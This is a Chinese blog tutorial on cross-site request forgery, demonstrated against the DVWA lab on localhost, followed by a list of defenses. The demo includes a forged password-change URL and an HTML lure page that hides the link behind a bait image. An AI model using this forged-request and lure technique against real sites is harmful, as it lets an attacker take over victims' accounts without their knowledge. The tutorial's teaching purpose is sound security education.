CSRF漏洞攻击

一、CSRF漏洞攻击说明

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作如转账、改密等操作。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

二、案例演示

2.1.抓包

获取修改密码的包信息

2.2.查看对应页面代码

查看页面如下:

发现在服务器端并没有做CSRF防御,我们只需要构造一个访问修改密码的URL链接,将参数拼接后,发送给被攻击者,引诱其点击即可,例如:

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

2.3.引诱伪装

但是,直接将链接发送给用户太过明显,稍微有点意识的人一眼就能识破。所以我们需要伪装一下,构造一个html文件,将其隐藏起来。伪造然后让用户去点击

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>结果展示</title>
    </head>
    <body>
        <h1>点我有惊喜哦</h1>
        <a href="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"/>
            <img src="http://127.0.0.1/3.jpg" border="0"  width="800" height="600"/> 
        </a>
    </body>
</html>

点击链接看了一下浑然不知我们已经修改了他的登录密码,

 利用刚刚修改的密码123456登录

三、csrf攻击如何防范?

跨站请求伪造(CSRF)攻击是一种常见的安全漏洞,攻击者利用该漏洞伪造用户的请求,进行一些恶意操作。以下是一些防范 CSRF 攻击的方法:

  1. 使用验证码:对于一些敏感操作,如发起支付、删除数据等,可以采用验证码的方式进行验证,防止攻击者偷偷操作。
  2. 检查 Referer 头:对于敏感操作的请求,可以检查 Referer 头,确保请求来源于同一站点,而不是来自于攻击者的网站。
  3. 使用 Token 验证:在每个表单请求中添加一个随机生成的 Token ,并在服务器端验证请求中的 Token 是否正确。这个 Token 可以防止 CSRF 攻击者伪造请求。
  4. 使用 SameSite cookie 属性:在使用 cookie 的时候,可以设置 SameSite 属性,限制 cookie 只在同一站点下被发送,从而防止 CSRF 攻击。
  5. 不要在 GET 请求中执行敏感操作:GET 请求容易被攻击者伪造,因此敏感操作不应该使用 GET 请求来进行。
  6. 定期更新和修补漏洞:定期检查和更新软件、操作系统、应用程序等,从而修补已知的安全漏洞,防止被攻击。

以上是一些防范 CSRF 攻击的方法,但是攻击者也在不断地改进攻击方法,因此保持警觉和更新防范措施也非常重要。

posted @ 2019-11-04 09:48  酒剑仙*  阅读(293)  评论(0)    收藏  举报